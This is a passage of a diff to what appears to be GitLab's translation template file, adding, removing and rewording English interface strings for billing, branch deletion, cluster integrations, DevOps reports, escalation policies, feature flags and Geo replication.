msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
